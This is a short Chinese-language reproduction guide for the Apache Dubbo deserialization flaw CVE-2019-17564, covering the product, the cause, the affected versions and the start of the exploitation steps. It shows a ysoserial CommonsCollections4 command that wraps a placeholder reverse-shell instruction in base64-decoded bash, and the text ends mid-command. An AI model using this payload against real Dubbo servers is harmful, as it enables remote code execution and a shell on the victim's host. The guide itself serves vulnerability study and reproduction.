Aapche Dubbo 反序列化漏洞复现(CVE-2019-17564)

1、产品简介

     Apache Dubbo是一款高性能、轻量级的开源Java RPC服务框架。

2、漏洞概述

      Dubbo可以使用不同协议通信，当使用http协议时，Apache Dubbo直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用，而这个过程会读取POST请求的Body并进行反序列化，最终导致漏洞。

3、影响范围

     Apache Dubbo 2.7.4及以前版本

4、利用流程

 

1、使用工具ysoserial生成payload
    工具地址:https://github.com/frohoff/ysoserial

 java -jar ysoserial-all.jar CommonsCollections4 "bash -c {echo,反弹shell指令}|{base64,-d}|{bash,-i}&#